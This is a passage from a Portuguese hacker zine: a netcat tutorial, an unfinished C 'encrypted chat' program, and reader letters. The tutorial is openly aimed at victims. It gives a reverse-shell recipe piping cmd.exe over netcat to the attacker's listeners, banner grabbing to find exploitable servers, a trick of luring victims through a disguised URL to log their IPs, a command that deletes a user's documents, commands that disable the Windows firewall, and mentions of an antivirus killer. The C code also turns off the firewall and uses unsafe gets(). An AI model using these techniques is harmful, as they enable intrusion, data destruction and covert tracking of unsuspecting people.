<- (ftp-data): connection refused sent 0, rcvd 0: NOTSOCK -------- > Com o -r < -------- C:\Documents and Settings\David>nc -z -r -vv 127.0.0.1 20-25 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] -> 21 <- (ftp) open localhost [127.0.0.1] -> 22 <- (?): connection refused localhost [127.0.0.1] -> 24 <- (?): connection refused localhost [127.0.0.1] -> 25 <- (smtp): connection refused localhost [127.0.0.1] -> 20 <- (ftp-data): connection refused localhost [127.0.0.1] -> 23 <- (telnet) open sent 0, rcvd 0 Repare bem na sequencia =) ------->Usando o -w<------- Bem, vamos supor que por algum motivo qualquer voce queira ver os banners dos serviços nox host'x remotos na hora da varredura, eu até entenderia isso, pois pode ser uma boa auternativa se tratando de ataque de footprint ;) C:\Documents and Settings\David>nc -w 1 -r -vv 127.0.0.1 20-25 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] 20 (ftp-data): connection refused localhost [127.0.0.1] 25 (smtp) open 220 Sendmail 8.11.13 < -- Banner gerado por um honeypot de baixa interatividade localhost [127.0.0.1] 22 (?): connection refused localhost [127.0.0.1] 24 (?): connection refused localhost [127.0.0.1] 21 (ftp) open 220-Microsoft FTP Service ========================= Bem vindo ao Machinered 220 ========================= net timeout localhost [127.0.0.1] 23 (telnet) open %$3222@!!# net timeout < -- Representando o's Lixos (ASCII's) sent 0, rcvd 141: NOTSOCK Explicação: nc -w 1 -r -vv 127.0.0.1 20-25 --> Varre da porta 20 a 25 romdomizando as portas, se conecta, exibe o banner e disconnect depois de 1 seg ;] Achu que Servidores, costumam mostrar seus nomes e suas versoes no banner manoh!! Imagina ai aqueles servers velhos de guerra vulveraveis a overflow, como o ->'Sami FTP Server'<- Se voce encontrar alguns destes, pode até conseguir acesso ao sistema do camarada "remotamente" utilizando algun exploit, ou simplesmente derrubalos enviando buffer's diabolicos com grandes quantidades de bytes Atenção: --> (D.O.S é coisa de Kiddie ;) <-- Só os banners manoh! C:\Documents and Settings\David>nc -w 1 -v 127.0.0.1 20-25 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] 25 (smtp) open 220 Sendmail 8.11.13 -- > Essa porra de "Sendmail" tem mais bug que formigueiro Pergunta: Por que alguém usaria um servidor telnet que não seja o do windows? Fauta de conhecimento? Yes! É disso que precisamos, precisamos de vitimas que não saibam o que estão fazendo :P localhost [127.0.0.1] 23 (telnet) open lixo%¨&*9854 < --- Monte de lixo :P localhost [127.0.0.1] 21 (ftp) open 220 Eu_sou-vulneravel-ftp 1.7.0 --> Temos aqui a versão 1.7.0 do programa Eu_sou-vulneravel-ftp, e que todos sabem que é vulneralvel (menos o sysop do host rsrs) O -w é muito bom pra brincar de dar um tempo para um cliente-side fazer o que quizer no seu sistema, tipo, um amigo foi brincar disso comigo e se arrependeu :] ----------------------------------------------------------------------------- ----> erase /F /S /P "%HOMEPATH%\Meus documentos" <---- ----------------------------------------------------------------------------- C:\Documents and Settings\David>erase /F /S /P "%HOMEPATH%\Meus documentos" C:\Documents and Settings\David\Meus documentos\connect.cpp, Excluir (S/N)? S <- Fudeu! :] Arquivo excluído - C:\Documents and Settings\David\Meus documentos\connect.cpp C:\Documents and Settings\David\Meus documentos\elhacker.net.url, Excluir (S/N)? <- Ctrl+c for jump C:\Documents and Settings\David\Meus documentos\Explorer.scf, Excluir (S/N)? n <- Bonzinho ^^ C:\Documents and Settings\David\Meus documentos\IMAGEM!!!.JPG, Excluir (S/N)? n <- 1 Angel ^^ C:\Documents and Settings\David\Meus documentos\Netstat.cpp, Excluir (S/N)? <- Ctrl+c [jump] C:\Documents and Settings\David\Meus documentos\Netstat.exe, Excluir (S/N)? < -- Jump C:\Documents and Settings\David\Meus documentos\Netstat.zip, Excluir (S/N)? < -- Jump C:\Documents and Settings\David\Meus documentos\Readme.txt, Excluir (S/N)? < -- Jump TIRA O ->'/P'<- MANOH! :] Conexão reversa usando o netcat ;] No seu host deixe duas portas listening C:\>nc -L -p 1 -vv listening on [any] 1 ... < ------Receberá-a-conexão----------- + C:\>nc -L -p 2 -vv listening on [any] 1 ... < ------Receberá-a-conexão----------- + Manda pra vitima algo do tipo compilado ou em 'batch' mesmo: nc ->inet_addr<- 1 | cmd.exe | nc ->inet_addr<- 2 Onde inet_addr é o seu endereço logico = ->IP<- Para testar use seu end de loopback, ficando assim: nc 127.0.0.1 1 | cmd.exe | nc 127.0.0.1 2 ====================================== C:\>nc -L -p 1 -vv listening on [any] 1 ... DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 1933 ====================================== C:\>nc -L -p 2 -vv listening on [any] 2 ... DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 1934 Microsoft Windows XP [versão 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David> ====================================== C:\>nc -L -p 1 -vv listening on [any] 1 ... DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 1946 dir <---- Executa os command's nessa shell manoh! e ->Olha a saida na outra<- []==xXx========[ ******* ]========xXx==[] ---- > Sniffer with netcat < ---- x x x []==xXx========[ ******* ]========xXx==[] Use um redirecionador de url qualquer e mande seu endereço IP "disfarçado" para a vitima :] Tipo assim, manda pra uma mina (vitima = Feminino -> Que cara maxista =) uma url bem loca, algo mais ou menos do tipo: quero_seu_ip_gostosa.4-all.org Se liga no FQDN ->Grates!!<- Se liga no dominio ->Se cadastra!<- A Parada é essa truta: nc -L -p 80 -vv > \daemon_log.log Se liguem que a porta de servidor de web é a 80 (http), os browser's por default costumam se conectar nos host's da vida pela porta 80, ou seja -> Porta que está em listen no seu host. Vc's lembram que com verbose o netcat mostra o endereço IP do cliente-side quando ele se conecta? Entaum... Bingo!! ---> http://localhost <--- C:\Documents and Settings\David>nc -L -p 80 -vv >> \daemon_log.log listening on [any] 80 ... DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 2004 Reparem que utilizei um redirecionador para jogar a saida (result's) para o arquivo daemon_log.log na minha raiz ('\'). Vamos ver os logs: C:\Documents and Settings\David>type \daemon_log.log GET / HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20061010 Firefox/2.0 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive ->PARA QUEM GOSTA DE FOOTPRINT AI É UM PRATO CHEIO MANOH!<- User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20061010 Firefox/2.0 Tem exploit que so funfa para determinados browser's (Mozilla/5.0), determinados OS's (Windows) e podem ser apenas para certo idioma (pt-BR), pois as vezes fica complicado achar uma falha universal e tals ;) Lembrando que o nc re-bindea a porta para aguardar + vitimas ;] E já que o redirecionador '>>' sempre acrescenta novos bytes no final do arquivo, eu posso ter uma grande lista de endereços IPs e informações de browsers, OS's e etc se eu tiver um pingo de raciocinio em minha mente... e se meu MSN estiver --> movimentado =) <-- Acho melhor que estabelecer uma conexão usando VOIP, mandar link sempre da menos na telha ^^. Tipo, com o netstat c pode pegar um IP, C vai mandar uma foto, sua maquina vai mandar um SYN pro host, então o netstat imprime um -> SYN_SENT <- e tal's, mas se vc naum tiver um bom queixo, a vitima desconfia dessas fotinhas e tals, e para justificar url furada é mais facil manoh!! =) Detalhes, Detalhes Manoh! Se liga! Se a vitima estiver usando um proxy, voce vai pegar o IP do proxy cara, e como eu estava falando, se ela de um netstat ela pega teu IP facim, facim, porque ai vai rolar um bacanal ( Proto Endereço local Endereço externo Estado TCP Violator:http localhost:2031 ESTABLISHED) sacou? Ou até mesmo um: Proto Endereço local Endereço externo Estado TCP 127.0.0.1:80 127.0.0.1:2031 ESTABLISHED Loopback é foda Xp --->Mais detalhes<--- Tu naum vai pensando que é 100% maravilhas mexer com o netcat naum manoh. Se liga c tu consegue abrir as portas da vida, ou seja -> se liga no firewall manoh! Para desabilitar o fw do windows (default), basta digitar -> net stop sharedaccess <- e katapimba! Caso for o zone alarm e essas paradinhas da vida, tenta usar um killer, procura o que o Royall codou. Achu que mata mais de 500's, um amigo disse que era 10 mil XPXPXP Eita!! Nunca parei para contar ^^, mas o batch é muito loco msm, num vo postar lá no FTP proces, pq num to com sacow para procurar o killer. E tipo assim, escrever textos contendo link's furados eh fogo, my's txt's tem que ser eternamente perfect's (Mas porque o: http://www.hunterhacker.xpg.com.br/22.zip?) (Porque eu quiz porr4! X). ah! Parece que a vQue eu tenho, num pega o KasperSky pq ele ta apelando (foi isso que eu ouvi la no forum =) --- > Enviando e recebendo arquivos (and ASCII's in Shell ) <-- Esse negocio de env(f)iando e recebendo pode lhes parecer um tanto quanto.... Imundo!! Mas tipo assim, é verdade XP. Se liga ai: Exemplo de 'printf' em string'x nos files (ASCII'S): C:\Documents and Settings>echo Hi Guys! > \my_file.diz & nc -l -p 6969 -vv < \my_file.diz listening on [any] 6969 ... -> telnet 127.0.0.1 6969 <- Hi Guys! --- > Na janela do shell _ DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 2095 sent 12, rcvd 0 < -- Detalhe manoh! Quando estamos escutando em uma porta e rebindeando a mesma, 'ou não', -> podemos visualizar relatorios de envio (send) e recebimento (recv =) dos dados na conexão passada, usando duas verboses (-vv) manoh: sent 12, rcvd 0 sent -> Enviado rcvd -> Recebido Ja que minha anterior sintaxe de conexão foi 'apenas' para 'conectar' (lolz), assim lendo o conteudo no arquivo 'my_file.diz' -> na shell, vamos utilizar o netcat para pegar o file agora: C:\Documents and Settings\David>nc 127.0.0.1 6969 > \file.diz ^C < -- Ctrl + C (Ja peguei o file msm :P eh he he...) C:\Documents and Settings\David>type \file.diz Hi Guys! sent 12, rcvd 0 <-- Só pra dar um verniz, que se pode obter os dados do trafego na janela servidora ( ->Por causa das "duas" verboses<- ) ;] Ei! Isso também funfa com binario viu manoh! Claro que vc sacou, nem precisava ter falado ;) Manja a sintaxe ae manoh (-w 3): C:\Documents and Settings\David>nc -w 3 127.0.0.1 6969 > \file.diz Achu que em 3 sec's da pra pegar dboa o my_file.diz e passar pro outro lado como -> file.diz X-). Lembrando que utilizei o -w Wait -> 'no cliente-side' <-.O> -.- --- > File flood ahuahuah! < --- -.- Putz, com essa historia de file flood eu fui floodado no dk (me baniram hauhauha!!), zuera, num foi por causa dissU naum, mas dexa qetu. Tipo, num é um file flood naum, é...como eu posso dizer... um repositorio de string que voce terá do outro lado, tipo assim, manda tua mina se conectar e começar a escrever sobre a relação nesse texto que será armazenado num file do outro lado (server-side), pq tu ta de saida e tals: C:\Documents and Settings>nc -l -p 222 -vv > escreve_pirada.txt listening on [any] 222 ... Pirada -> nc 127.0.0.1 222 Escreveu no shell -> Vou comer seu figado cretino!! connect to [127.0.0.1] from localhost [127.0.0.1] 2162 sent 0, rcvd 31 < -- =) O bom de voce utilizar o nc para se conectar nas coisas está ai amigos, tipo, com o telnet voce nao conseguiria ver o que estava escrevendo, ja com o netcat sim!! Sem duvida, o melhor cliente de qualquer coisa é o netcat, tipo, se ainda não achou algum servidor que ele num connect bem :P, adapta ele =) Ainda existe diversas coisas maneiras, mas eu paro por aqui!!! Tipo, tem muuuita coisa mesmo irmãos, o netcat pode ser usado para tudo! Cliente POP, FTP, etc. O escabal manoh! Espero que tenham gostado de mais um txt meu, e espero muito continuar escrevendo a zine para todos voces evoluirem com o que eu um dia gostei de aprender, assim também evoluindo =) Ei, achu que estou esquecendo de alguma coisa... Ah! Lembrei: Netcat Linux Opa, vamos começar baixando a ferramenta ^^... Baixa o netcat para linux ai manoh! ehehe. Nao tenho nada contra o AV Killer do Royall, só que to com preguiça de postar e o netcat ja ta la no host e tals :] -> : http://www.hunterhacker.xpg.com.br/netcat-0.7.1.tar.gz Cara, descompacta essa parada ai e instala com -> ./configure && make && make install e faz tudo ai em cima descrito no texto, só que onde tem cmd.exe tu bota /bin/bash ou sh ou qualquer outro shell (Se bobear bota até o 'false' -> oh! <-_) prontu! Voce agora eh um hackão mais hackitico que existe :P 6_Bl4ck9_f0x6 Viper Corp Group [s] ----- C4p1Tul0 16 [+] X========================--==============X +] Emperial Chat[_cript] - Almost mounted [+] X======================================== X+] Esse prog trabalha com criptografica simetrica, se trata de um programa capaz de transmitir mensagens cifradas atraves da rede. Resumindo toda essa porra que voce ja ta cansado de saber: Eh um chat encriptado pre-construido. Codei o comeco pra voce terminar ele. Dispenso os "obrigados". -- Emp_Chat.c -- #include #include #include #include #include #include #define ERR -1 #define PRT printf #define BACKLOG 5 WSADATA wsa; SOCKET sock, cliente_sock; struct hostent *host; struct sockaddr_in list, cliente; int i=0, val=0, end=0; char c, string_s[1500], received[1500]; unsigned char nick_Hacker[50], sv_nick[50]; void stat (); void ouvir (); void filtro (); void encript (); void options (); void loading_s (){ int cOc=0,CoC; for (cOc, CoC=1;cOc <= 100 && CoC <=100;CoC+=1, ++cOc){ system ("cls"); fprintf (stdout, "%d%% %d%%", cOc, CoC);} printf ("\nLoading sucefull!"); Sleep (700); system ("cls"); } void banner (){ int cOc=0; char *banner[]={ "[=] + ===========[####]============ + [=]\n", " *** Emperial Chat[_cript] *** \n", " XxX VIPER CORP GROUP XxX\n", " <-> Underground Max <->\n", "[=] + ==========[####]============ + [=]\n\n"}; while (cOc != 5){ printf ("%s", banner[cOc]); ++cOc;} } int main (void){ system ("color 0a & cls"); SetConsoleTitle ("Emperial Chat[_cript] v0.1 by 6_Bl4ck9_f0x6"); loading_s (); banner (); options (); if ( (WSAStartup (MAKEWORD (2,2),&wsa)) == SOCKET_ERROR){ fprintf (stderr, "Tive problemas para carregar winsock.dll\n"); system ("pause"); exit (ERR);} if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) == ERR){ fprintf (stderr, "Erro ao criar socket\n"); system ("pause"); return (ERR);} bit: c=0x00; if (val == 1){ system ("cls"); banner (); options (); printf ("\nPor favor insira uma resposta [VALIDA]:");} if (val == 0) printf ("\nAguardando resposta:"); c=getch(); do { switch (c){ case 'O': ouvir (); break; case 'o': ouvir (); exit (0); // Yeah!! break; default: val++; goto bit; } } while ( (c != 'O') || (c != 'o') ); } void options (){ printf ("Conectar"); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT (" "); Sleep (100); PRT ("="); Sleep (100); PRT (" ( C )\n"); Sleep (100); printf ("Ouvir"); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT (" "); Sleep (100); PRT ("="); Sleep (100); PRT (" ( O )\n"); Sleep (100); printf ("Comandos"); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT ("."); Sleep (100); PRT (" "); Sleep (100); PRT ("="); Sleep (100); printf (" ( R )\n"); Sleep (100); } void ouvir () { int porta, check=5; char choice, IP[sizeof ("Deus esta completamente morto...")]; label: system ("cls"); banner (); printf ("Deseja desabilitar o firewall default do windows? s/n "); scanf ("%c", &choice); if ( (choice == 's') || (choice == 'S')){ puts ("\n -==========================================\ ===========-\n"); PRT ("Analise esta mensagem do windows:\n\n\n"); system ("net stop sharedaccess"); puts ("\n -==========================================\ ===========-\n"); system ("pause & cls"); check+=1;} else if ( (choice == 'n') || (choice == 'N')) goto start; else goto label; start: system ("cls"); banner (); if (check == 6) printf (" [ Firewall do Windows Morto ]\n\n"); puts ("+ DEFINA SEUS DADOS +\n"); printf ("Defina o seu nick[Hacker]:"); scanf ("%59s", &nick_Hacker); /*memset (&(nick_Hacker) + 59, 0x00, 2 -1); Mas ja tem 0x00 no fim =)*/ printf ("Porta que vc deseja abrir:"); scanf ("%d", &porta); printf ("Endereco IP da interface:"); scanf ("%31s", &IP); list.sin_family = AF_INET; list.sin_port = htons (porta); if ( (list.sin_addr.s_addr = inet_addr (IP)) == INADDR_NONE){ system ("cls"); banner (); puts ("[X+X] ]= -------------------------------- =[ [X+X]"); fprintf (stderr, " ENDERECO IP INVALIDO! :(\n"); puts ("[X+X] ]= -------------------------------- =[ [X+X]\n"); closesocket (sock); WSACleanup(); system ("pause"); exit (ERR);} memset (&(list.sin_zero), 0x00, sizeof (list.sin_zero)); if ((bind(sock,(struct sockaddr *)&list, sizeof (struct sockaddr_in))) == SOCKET_ERROR){ printf ("\n+-------------------------------------------+\n"); fprintf (stderr, "|Nao conseguir abrir a porta [%d] :( \n\ |\"Provavelmente\" this port esta em uso |", ntohs (list.sin_port)); PRT ("\n|ou voce teclou um endereco IP invalido. |"); printf ("\n+-------------------------------------------+\n\n"); system ("pause"); exit SOCKET_ERROR;} system ("cls"); banner (); printf ("\n+-------------------------------------------+\n"); printf ("|Nick : [%s]\n", nick_Hacker); printf ("|Iface: [%s] \n", inet_ntoa (list.sin_addr)); printf ("|Porta: [%d] aguardando conexoes... ", ntohs (list.sin_port)); printf ("\n+-------------------------------------------+\n"); listen (sock, BACKLOG); int size, Y=0, CCtC=0; size=sizeof (struct sockaddr); printf ("\n[Listen]..."); cliente_sock=accept (sock, (struct sockaddr *)&cliente, &size); getpeername (cliente_sock, (struct sockaddr *)&cliente, &size); system ("cls"); banner (); stat (); while (end != 1){ memset (&(received), 0x00, sizeof (received)); system ("cls"); banner (); stat (); printf ("[-] %s disse:", nick_Hacker); gets (string_s); // Usar fgets , eh foda o tal do stack overflow system ("cls"); banner (); stat (); printf ("\n[=] + ====================== + [=] \n\n"); printf ("[-] %s\n\n", string_s); printf ("[=] + ====================== + [=] \n\n"); encript (); printf ("%s", string_s); send (cliente_sock, string_s, strlen (string_s), 0); while (CCtC < 1){ CCtC=recv(cliente_sock, received, sizeof (received), 0);} system ("cls"); // Fazer uma funçao disto [3] banner (); stat (); // fulano diz: printf ("\n[=] + ====================== + [=] \n\n"); printf ("[-] %s\n\n", received); printf ("[=] + ====================== + [=] \n\n"); encript (); /* Contagem de mensagens recebidas pode surgir daqui: ;) ./verbose */ // if ( (recv (cliente_sock, received, sizeof (received), 0)) != -1){ //} /* Ele manda o nick e o krinha eh copiado para uma variavel daqui. Ai eu vou ficar usando o nick que foi mandado */ if ( (received[Y]='.') && (received[Y+1]='/') ) filtro ();} } void encript (){ for (i;string_s[i] != '\0';i++){ if (string_s[i] == 'A'){string_s[i]='*';} else if (string_s[i] == 'a'){ string_s[i]='[';} else if (string_s[i] == 'B'){ string_s[i]='$';} else if (string_s[i] == 'b'){ string_s[i]='!';} else if (string_s[i] == 'C'){ string_s[i]='8';} else if (string_s[i] == 'c'){ string_s[i]='+';} else if (string_s[i] == 'D'){ string_s[i]='@';} else if (string_s[i] == 'd'){ string_s[i]='k';} else if (string_s[i] == 'E'){ string_s[i]='%';} else if (string_s[i] == 'e'){ string_s[i]=')';} else if (string_s[i] == 'F'){ string_s[i]='6';} else if (string_s[i] == 'f'){ string_s[i]='"';} else if (string_s[i] == 'G'){ string_s[i]='4';} else if (string_s[i] == 'g'){ string_s[i]='1';} else if (string_s[i] == 'H'){ string_s[i]='?';} else if (string_s[i] == 'h'){ string_s[i]='A';} else if (string_s[i] == 'I'){ string_s[i]='T';} else if (string_s[i] == 'i'){ string_s[i]='7';} else if (string_s[i] == 'J'){ string_s[i]='P';} else if (string_s[i] == 'j'){ string_s[i]='&';} else if (string_s[i] == 'L'){ string_s[i]='Z';} else if (string_s[i] == 'l'){ string_s[i]='~';} else if (string_s[i] == 'M'){ string_s[i]='y';} else if (string_s[i] == 'm'){ string_s[i]='{';} else if (string_s[i] == 'N'){ string_s[i]='q';} else if (string_s[i] == 'n'){ string_s[i]='9';} else if (string_s[i] == 'O'){ string_s[i]='^';} else if (string_s[i] == 'o'){ string_s[i]='=';} else if (string_s[i] == 'P'){ string_s[i]='#';} else if (string_s[i] == 'p'){ string_s[i]=':';} else if (string_s[i] == 'Q'){ string_s[i]='-';} else if (string_s[i] == 'q'){ string_s[i]=']';} else if (string_s[i] == 'R'){ string_s[i]='F';} else if (string_s[i] == 'r'){ string_s[i]=';';} else if (string_s[i] == 'S'){ string_s[i]='2';} else if (string_s[i] == 's'){ string_s[i]='h';} else if (string_s[i] == 'T'){ string_s[i]='.';} else if (string_s[i] == 't'){ string_s[i]=',';} else if (string_s[i] == 'U'){ string_s[i]='3';} else if (string_s[i] == 'u'){ string_s[i]='E';} else if (string_s[i] == 'V'){ string_s[i]='<';} else if (string_s[i] == 'v'){ string_s[i]='|';} else if (string_s[i] == 'W'){ string_s[i]='Y';} else if (string_s[i] == 'w'){ string_s[i]='X';} else if (string_s[i] == 'X'){ string_s[i]='G';} else if (string_s[i] == 'x'){ string_s[i]='5';} else if (string_s[i] == 'Y'){ string_s[i]='/';} else if (string_s[i] == 'y'){ string_s[i]='}';} else if (string_s[i] == 'Z'){ string_s[i]='n';} else if (string_s[i] == 'z'){ string_s[i]='I';} else if (string_s[i] == '!'){ string_s[i]='U';} else if (string_s[i] == ','){ string_s[i]='D';} else if (string_s[i] == '.'){ string_s[i]='L';}} } void filtro (){ } void stat (){ printf ("+-------------------------------------------+\n"); printf ("| CHAT INICIADO |\n"); printf ("+-------------------------------------------+\n"); printf ("\nInformacoes de conexao:\n\nEnderco IP do cliente: [%s]\n", inet_ntoa (cliente.sin_addr)); printf ("Porta local utilizada: [%d]\n\n", ntohs (list.sin_port));} -- cut -- [s] ----- C4p1Tul0 17 [+ ====================================== +] -> MAIL BOX <- xxxxxxxxxxxxXXXxXXXxxxxxxxxxxxxxxxxxx [+ ====================================== +] De: ALIG_wicked Subject: Yo Raposa ... Entao velho naum esquenta com os post's ... O lance do video que quero fazer pra vc naum ter surpresa eh assim: Eu queria mostrar um outro mundo mais profissional... Honestamente vejo um potencial em ti ... desde que voce naum acabe indo pro lado da criminalidade. Naum estou dizendo que vc faz parte desse mundo ou que um dia fara'. Na verdade queria citar p q tive um amigo a uns 10 anos atras que acabou numa penitenciaria e viciado em coca. O cara manjava muito mais que eu ... ele tinha esse mesmo entusiamo que vejo em vc hoje. entao, Dias 22,23 e 24 ... estarei participando da Infosecurity Europe ( http://www.infosec.co.uk/ ) naum eh um evento tipo blackhat ou defcon .. na verdade eh um evento dos patroes dos caras que participam da blackhat e defcon ( hehehe ). Mais empresarial mesmo. Estarei lah p q como falei estou estruturando a minha propria empresa e vou atras de contactos e etc ... E vou postar aqui no ISTF. Mais boca de siri ateh lah... Sobre o projeto metasploit-br tah paradao ateh eu terminar as coisas da minha empresa. Tenho que ter foco ou naum termino nem uma coisa nem outra. Estou te mandando um livro sobre o metasploit razoavel caso vc naum tenha. Bem, acho que tu jah podes pular lah pra pagina 147 . Capitulo: Cases Estudies. Baixe aqui: http://rapidshare.com/files/103054431/Metasploit_Toolkit_-_Syngress.pdf.html Do meu lado, na verdade estah estacionando um tutorial que estou fazendo baseado num exemplo onde escrevemos um exploit do zero (com algumas modificacoes minhas) do livro ShellCoders . Muito ditadico. Apliquei ao metasploit ... mais como falei infelizmente naum posso mudar o foco das coisas que tenho fazer nesse momento. [s] --Andre. Resposta: Isso ai foi um MP que ele me mandou no ISTF, ou seja, se um de meus maiores idolos está dizendo que eu tenho potencial, isso significa que... eu realmente devo ter =) Sei que essa porra aqui não é um ->MPBox<- e sim ->MailBox<-, mas ta valendo, só estou me sentindo o tal =) Tipo assim, procurem saber mais sobre o Andre Amorim, vejam o seu site (OST pentest) e tals, dai voces me digam dpois se naum era para eu estar me achando eheheh. André: Voce é o cara manoh =) []'s ========== X === X ========== De: Morticia Subject: Ei cara... Meu querido 6_Bl4ck9_f0x6, Gostaria muito de saber se pretende publicar algum texto meu em sua zine, é... é que eu gostaria muito de faze-la evoluir assim como voce evolui, nunca vi um menino conseguir ler um book daqueles que te passei em um dia e no outro dizer para mim que fez um soft maneiro baseado no que aprendeu... Como voce pode ter a cara de madeira de dizer que ainda faz o primeiro ano com 18 anos...? ce vc tem essa capacidade toda de raciocinio. Ainda vou em sua cidadezinha lhe ver meu caro, e vê se para de escrever em alguns textos seus que é meu fã, pois me parece que as coisas estão se invertendo...:) Um abraço moleque maneiro e não deixa de mandar noticias. Resposta: Enfim pessoal, temos aqui um classico caso de f3licidade multipla, DOIS de meus maiores idolos me elogiam...:) Morticia e André, ta fautando ainda aqui o nosso amigo Rodrigo Rubira (Eita!!! ), voodoo (Eita!!!) e nash leon (Eita!!!). Com relação aos seus textos Mort's, pretendo publica-los em um futuro bem proximo, seguinte, nessa zine aqui eu escrevo apenas coisas minhas (por enquanto), tenho ela mais como passa-tempo e tals, mas da proxima achu que vou abrir uma exceção, tenho varios textos da galera e até pouco tempo atraz tava afim de publica-los aqui, mas.... -> Os textos vão para a minha outra zine que brevemente estará saido na sua BSS mais proxima (Eita!!!), de onde desenterrei essa coisa ultrapassada de BSS? Afz, quem gosta de velharia é museu ;) Até a proxima edição da minha, da sua, da nossa revista hacker numero 1 baby...;) Ah! Um dia eu ainda vou ser da THC (Tomara manoh!! =). Hacking é uma arte ;) 04:48 27/3/2010 na solidao. Se case, tenha uma filha e seja feliz com elas manoh, elas merecem. []`s by 6_Bl4ck9_f0x6 - Viper Corp Group